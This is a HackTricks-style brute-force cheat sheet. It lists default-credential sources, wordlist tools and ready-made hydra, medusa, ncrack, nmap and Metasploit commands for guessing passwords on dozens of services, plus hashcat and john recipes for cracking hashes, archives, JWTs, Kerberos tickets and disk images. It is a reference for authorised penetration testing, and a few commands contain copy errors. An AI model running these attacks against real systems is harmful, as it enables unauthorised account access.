# Brute Force - CheatSheet {% hint style="danger" %} Do you use **Hacktricks every day**? Did you find the book **very** **useful**? Would you like to **receive extra help** with cybersecurity questions? Would you like to **find more and higher quality content on Hacktricks**? [**Support Hacktricks through github sponsors**](https://github.com/sponsors/carlospolop) **so we can dedicate more time to it and also get access to the Hacktricks private group where you will get the help you need and much more!** {% endhint %} If you want to know about my **latest modifications**/**additions** or you have **any suggestion for HackTricks** or **PEASS**, **join the** [**💬**](https://emojipedia.org/speech-balloon/)[**telegram group**](https://t.me/peass), or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** If you want to **share some tricks with the community** you can also submit **pull requests** to [**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks) that will be reflected in this book and don't forget to **give ⭐** on **github** to **motivate** **me** to continue developing this book. ## Default Credentials **Search in google** for default credentials of the technology that is being used, or **try this links**: * [**https://github.com/ihebski/DefaultCreds-cheat-sheet**](https://github.com/ihebski/DefaultCreds-cheat-sheet) * [**http://www.phenoelit.org/dpl/dpl.html**](http://www.phenoelit.org/dpl/dpl.html) * [**http://www.vulnerabilityassessment.co.uk/passwordsC.htm**](http://www.vulnerabilityassessment.co.uk/passwordsC.htm) * [**https://192-168-1-1ip.mobi/default-router-passwords-list/**](https://192-168-1-1ip.mobi/default-router-passwords-list/) * [**https://datarecovery.com/rd/default-passwords/**](https://datarecovery.com/rd/default-passwords/) * [**https://bizuns.com/default-passwords-list**](https://bizuns.com/default-passwords-list) * [**https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/default-passwords.csv**](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/default-passwords.csv) * [**https://github.com/Dormidera/WordList-Compendium**](https://github.com/Dormidera/WordList-Compendium) * [**https://www.cirt.net/passwords**](https://www.cirt.net/passwords) * [**http://www.passwordsdatabase.com/**](http://www.passwordsdatabase.com/) ## **Create your own Dictionaries** Find as much information about the target as you can and generate a custom dictionary. Tools that may help: ### Crunch ```bash crunch 4 6 0123456789ABCDEF -o crunch1.txt #From length 4 to 6 using that alphabet crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using charset mixalpha (inside file charset.lst) @ Lower case alpha characters , Upper case alpha characters % Numeric characters ^ Special characters including spac crunch 6 8 -t ,@@^^%% ``` ### Cewl ```bash cewl example.com -m 5 -w words.txt ``` ### [CUPP](https://github.com/Mebus/cupp) Generate passwords based on your knowledge of the victim \(names, dates...\) ```text python3 cupp.py -h ``` ### [pydictor](https://github.com/LandGrey/pydictor) ### Wordlists * [**https://github.com/danielmiessler/SecLists**](https://github.com/danielmiessler/SecLists) * [**https://github.com/Dormidera/WordList-Compendium**](https://github.com/Dormidera/WordList-Compendium) * [**https://github.com/kaonashi-passwords/Kaonashi**](https://github.com/kaonashi-passwords/Kaonashi) * [**https://github.com/google/fuzzing/tree/master/dictionaries**](https://github.com/carlospolop/hacktricks/tree/95b16dc7eb952272459fc877e4c9d0777d746a16/google/fuzzing/tree/master/dictionaries/README.md) * [**https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm**](https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm) ## Services Ordered alphabetically by service name. ### AFP ```bash nmap -p 548 --script afp-brute msf> use auxiliary/scanner/afp/afp_login msf> set BLANK_PASSWORDS true msf> set USER_AS_PASS true msf> set PASS_FILE msf> set USER_FILE msf> run ``` ### AJP ```bash nmap --script ajp-brute -p 8009 ``` ### Cassandra ```bash nmap --script cassandra-brute -p 9160 ``` ### CouchDB ```bash msf> use auxiliary/scanner/couchdb/couchdb_login hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get / ``` ### Docker Registry ```text hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/ ``` ### Elasticsearch ```text hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get / ``` ### FTP ```bash hydra -l root -P passwords.txt [-t 32] ftp ncrack -p 21 --user root -P passwords.txt [-T 5] medusa -u root -P 500-worst-passwords.txt -h -M ftp ``` ### HTTP Generic Brute #### [**WFuzz**](pentesting-web/web-tool-wfuzz.md) ### HTTP Basic Auth ```bash hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/ # Use https-get mode for httpS medusa -h -u -P -M http -m DIR:/path/to/auth -T 10 ``` ### HTTP - Post Form ```bash hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V # Use https-post-form mode for httpS ``` For http**s** you have to change from "http-post-form" to "**https-post-form"** ### **HTTP - CMS --** \(W\)ordpress, \(J\)oomla or \(D\)rupal or \(M\)oodle ```bash cmsmap -f W/J/D/M -u a -p a https://wordpress.com ``` ### IMAP ```bash hydra -l USERNAME -P /path/to/passwords.txt -f imap -V hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f imap -V nmap -sV --script imap-brute -p ``` ### IRC ```bash nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p ``` ### ISCSI ```bash nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 ``` ### JWT ```bash #hashcat hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt #https://github.com/Sjord/jwtcrack python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt #John john jwt.txt --wordlist=wordlists.txt --format=HMAC-SHA256 #https://github.com/ticarpi/jwt_tool python3 jwt_tool.py -d wordlists.txt #https://github.com/brendan-rius/c-jwt-cracker ./jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc 1234567890 8 #https://github.com/mazen160/jwt-pwn python3 jwt-cracker.py -jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc -w wordlist.txt #https://github.com/lmammino/jwt-cracker jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6 ``` ### LDAP ```bash nmap --script ldap-brute -p 389 ``` ### Mongo ```bash nmap -sV --script mongodb-brute -n -p 27017 use auxiliary/scanner/mongodb/mongodb_login ``` ### MySQL ```bash hydra -L usernames.txt -P pass.txt mysql msf> use auxiliary/scanner/mysql/mysql_login; set VERBOSE false ``` ### OracleSQL ```bash patator oracle_login sid= host= user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017 ./odat.py passwordguesser -s $SERVER -d $SID ./odat.py passwordguesser -s $MYSERVER -p $PORT --accounts-file accounts_multiple.txt #msf1 msf> use admin/oracle/oracle_login msf> set RHOSTS msf> set RPORT 1521 msf> set SID #msf2, this option uses nmap and it fails sometimes for some reason msf> use scanner/oracle/oracle_login msf> set RHOSTS msf> set RPORTS 1521 msf> set SID #nmap fails sometimes for some reson executing this script nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid= ``` In order to use **oracle\_login** with **patator** you need to **install**: ```bash pip3 install cx_Oracle --upgrade ``` [Offline OracleSQL hash bruteforce](pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) \(**versions 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** and **11.2.0.3**\): ```bash nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30 ``` ### POP ```bash hydra -l USERNAME -P /path/to/passwords.txt -f pop3 -V hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f pop3 -V ``` ### PostgreSQL ```bash hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt postgres medusa -h –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres ncrack –v –U /root/Desktop/user.txt –P /root/Desktop/pass.txt :5432 patator pgsql_login host= user=FILE0 0=/root/Desktop/user.txt password=FILE1 1=/root/Desktop/pass.txt use auxiliary/scanner/postgres/postgres_login nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 ``` ### PPTP You can download the `.deb` package to install from [https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/) ```bash sudo dpkg -i thc-pptp-bruter*.deb #Install the package cat rockyou.txt | thc-pptp-bruter –u ``` ### RDP ```bash ncrack -vv --user -P pwds.txt rdp:// hydra -V -f -L -P rdp:// ``` ### Redis ```bash msf> use auxiliary/scanner/redis/redis_login nmap --script redis-brute -p 6379 hydra –P /path/pass.txt redis://: # 6379 is the default ``` ### Rexec ```bash hydra -l -P rexec:// -v -V ``` ### Rlogin ```bash hydra -l -P rlogin:// -v -V ``` ### Rsh ```bash hydra -L rsh:// -v -V ``` [http://pentestmonkey.net/tools/misc/rsh-grind](http://pentestmonkey.net/tools/misc/rsh-grind) ### Rsync ```bash nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 ``` ### RTSP ```bash hydra -l root -P passwords.txt rtsp ``` ### SNMP ```bash msf> use auxiliary/scanner/snmp/snmp_login nmap -sU --script snmp-brute [--script-args snmp-brute.communitiesdb= ] onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp ``` ### SMB ```bash nmap --script smb-brute -p 445 hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1 ``` ### SMTP ```bash hydra -l -P /path/to/passwords.txt smtp -V hydra -l -P /path/to/passwords.txt -s 587 -S -v -V #Port 587 for SMTP with SSL ``` ### SOCKS ```bash nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 ``` ### SQL Server ```bash #Use the NetBIOS name of the machine as domain crackmapexec mssql -d -u usernames.txt -p passwords.txt hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt mssql medusa -h –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M mssql nmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts #Use domain if needed. Be carefull with the number of password in the list, this could block accounts msf> use auxiliary/scanner/mssql/mssql_login #Be carefull, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT ``` ### SSH ```bash hydra -l root -P passwords.txt [-t 32] ssh ncrack -p 22 --user root -P passwords.txt [-T 5] medusa -u root -P 500-worst-passwords.txt -h -M ssh patator ssh_login host= port=22 user=root 0=/path/passwords.txt password=FILE0 -x ignore:mesg='Authentication failed' ``` ### Telnet ```bash hydra -l root -P passwords.txt [-t 32] telnet ncrack -p 23 --user root -P passwords.txt [-T 5] medusa -u root -P 500-worst-passwords.txt -h -M telnet ``` ### VNC ```bash hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s vnc medusa -h –u root -P /root/Desktop/pass.txt –M vnc ncrack -V --user root -P /root/Desktop/pass.txt :>POR>T patator vnc_login host= password=FILE0 0=/root/Desktop/pass.txt –t 1 –x retry:fgep!='Authentication failure' --max-retries 0 –x quit:code=0use auxiliary/scanner/vnc/vnc_login nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 ``` ### Winrm ```bash crackmapexec winrm -d -u usernames.txt -p passwords.txt ``` ## Local ### Online cracking databases * [~~http://hashtoolkit.com/reverse-hash?~~](http://hashtoolkit.com/reverse-hash?) \(MD5 & SHA1\) * [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com/) \(Hashes, WPA2 captures, and archives MSOffice, ZIP, PDF...\) * [https://crackstation.net/](https://crackstation.net/) \(Hashes\) * [https://md5decrypt.net/](https://md5decrypt.net/) \(MD5\) * [https://gpuhash.me/](https://gpuhash.me/) \(Hashes and file hashes\) * [https://hashes.org/search.php](https://hashes.org/search.php) \(Hashes\) * [https://www.cmd5.org/](https://www.cmd5.org/) \(Hashes\) * [https://hashkiller.co.uk/Cracker](https://hashkiller.co.uk/Cracker) \(MD5, NTLM, SHA1, MySQL5, SHA256, SHA512\) * [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) \(MD5\) * [http://reverse-hash-lookup.online-domain-tools.com/](http://reverse-hash-lookup.online-domain-tools.com/) Check this out before trying to bruteforce a Hash. ### ZIP ```bash #sudo apt-get install fcrackzip fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' chall.zip ``` ```bash zip2john file.zip > zip.john john zip.john ``` ```bash #$zip2$*0*3*0*a56cb83812be3981ce2a83c581e4bc4f*4d7b*24*9af41ff662c29dfff13229eefad9a9043df07f2550b9ad7dfc7601f1a9e789b5ca402468*694b6ebb6067308bedcd*$/zip2$ hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt .\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack ``` ### 7z ```bash cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z ``` ```bash #Download and install requirements for 7z2john wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/7z2john.pl apt-get install libcompress-raw-lzma-perl ./7z2john.pl file.7z > 7zhash.john ``` ### PDF ```bash apt-get install pdfcrack pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt #pdf2john didnt worked well, john didnt know which hash type was # To permanently decrypt the pdf sudo apt-get install qpdf qpdf --password= --decrypt encrypted.pdf plaintext.pdf ``` ### JWT ```bash git clone https://github.com/Sjord/jwtcrack.git cd jwtcrack #Bruteforce using crackjwt.py python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt #Bruteforce using john python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john john jwt.john #It does not work with Kali-John ``` ### NTLM cracking ```bash Format:USUARIO:ID:HASH_LM:HASH_NT::: john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot ``` ### Keepass ```bash sudo apt-get install -y kpcli #Install keepass tools like keepass2john keepass2john file.kdbx > hash #The keepass is only using password keepass2john -k file.kdbx > hash # The keepas is also using a file as a needed credential #The keepass can use password and/or a file as credentials, if it is using both you need to provide them to keepass2john john --wordlist=/usr/share/wordlists/rockyou.txt hash ``` ### Keberoasting ```bash john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt ./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi ``` ### Lucks image #### Method 1 Install: [https://github.com/glv2/bruteforce-luks](https://github.com/glv2/bruteforce-luks) ```bash bruteforce-luks -f ./list.txt ./backup.img cryptsetup luksOpen backup.img mylucksopen ls /dev/mapper/ #You should find here the image mylucksopen mount /dev/mapper/mylucksopen /mnt ``` #### Method 2 ```bash cryptsetup luksDump backup.img #Check that the payload offset is set to 4096 dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1 hashcat -m 14600 -a 0 luckshash wordlists/rockyou.txt cryptsetup luksOpen backup.img mylucksopen ls /dev/mapper/ #You should find here the image mylucksopen mount /dev/mapper/mylucksopen /mnt ``` Another Luks BF tutorial: [http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1) ### Mysql ```bash #John hash format :$mysqlna$* dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d ``` ### PGP/GPG Private key ```bash gpg2john private_pgp.key #This will generate the hash, save it in a file john --wordlist=/usr/share/wordlists/rockyou.txt ./hash ``` ## Tools **Hash examples:** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes) ### Hash-identifier ```bash hash-identifier > ``` ### John mutation Read _**/etc/john/john.conf**_ and configure it ```bash john --wordlist=words.txt --rules --stdout > w_mutated.txt john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules ``` ### Hashcat ```bash hashcat --example-hashes | grep -B1 -A2 "NTLM" ``` Cracking Linux Hashes - /etc/shadow file ```text 500 | md5crypt $1$, MD5(Unix) | Operating-Systems 3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems 7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems 1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems ``` Cracking Windows Hashes ```text 3000 | LM | Operating-Systems 1000 | NTLM | Operating-Systems ``` Cracking Common Application Hashes ```text 900 | MD4 | Raw Hash 0 | MD5 | Raw Hash 5100 | Half MD5 | Raw Hash 100 | SHA1 | Raw Hash 10800 | SHA-384 | Raw Hash 1400 | SHA-256 | Raw Hash 1700 | SHA-512 | Raw Hash ```